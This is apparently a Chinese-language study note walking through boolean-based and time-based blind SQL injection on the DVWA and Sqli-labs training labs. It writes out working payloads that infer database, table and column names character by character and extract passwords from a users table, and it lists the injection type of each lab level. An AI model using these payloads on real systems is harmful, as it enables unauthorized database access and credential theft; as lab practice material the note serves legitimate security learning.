盲注之布尔类型注入
DVWA平台low
级别
一、判断数据库名的长度
1' and (length(database()))>4#
超出长度会报错
二、获取数据库名的字符
判断每个字母在ASCII码中的范围,最终确定是哪个字母
1' and (ascii(substr(database(),n,1)))>66#
三、获取数据库表名(先获取表名数量,再获取表名长度)
1' and (select count(*) from information_schema.tables where table_schema=database())>5#
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100#
四、获取列名(先获取列名个数,再获取列名长度,最后获取列名)
1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100#
五、获取数据
1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68#
DVWA平台Medium
级别
一、使用Burp Suite
抓包
判断数据库名的长度
1 and (length(database()))>4#
DVWA平台High级别
一、判断数据库名的长度
1' and (length(database()))>3#
Sqli-labs-master
1、第一关:
sql注入类型为字符型注入(单引号)
查看数据库:
2、第二关:
Sql注入类型为数值型注入
查看数据库:
3、第三关:
sql注入类型为字符型注入(单引号、单括号)
查看数据库:
4、第四关:
sql注入类型为字符型注入(双引号、单括号)
查看数据库:
5、第五关:
sql注入类型为报错注入(单引号)
查看那数据库
6、第六关:
sql注入类型为:报错注入(双引号)
查看数据库:
7、第七关:
sql注入类型为:布尔注入
(1)判断数据库长度为8
(2)找到数据库对应的ascii值
第一个为115,对应s
第二个为101,对应e
以此类推:第三个为99;第四个为117;第五个为114;第六个为105;第七个为:116;第八个为121
8、第八关:
sql注入类型为:布尔注入(单引号)
获取数据库:将相应的字符转换成ascii值(获取八次)
9、第九关:
Sql注入类型为:延时注入和布尔注入(单引号)
获取当前数据库名:
(1)判断数据库名长度为8
(3)将相应的字符转换成ascii值,成功之后将会延时十秒
第一个为字节对应的ascii值为115
第二个字节对应的ascii值为101
10、第十关:
sql注入类型为:延时注入和布尔注入(双引号)
获取当前数据库名:
(1)判断字符串长度为8
(2)将第一个字节转化为ascii值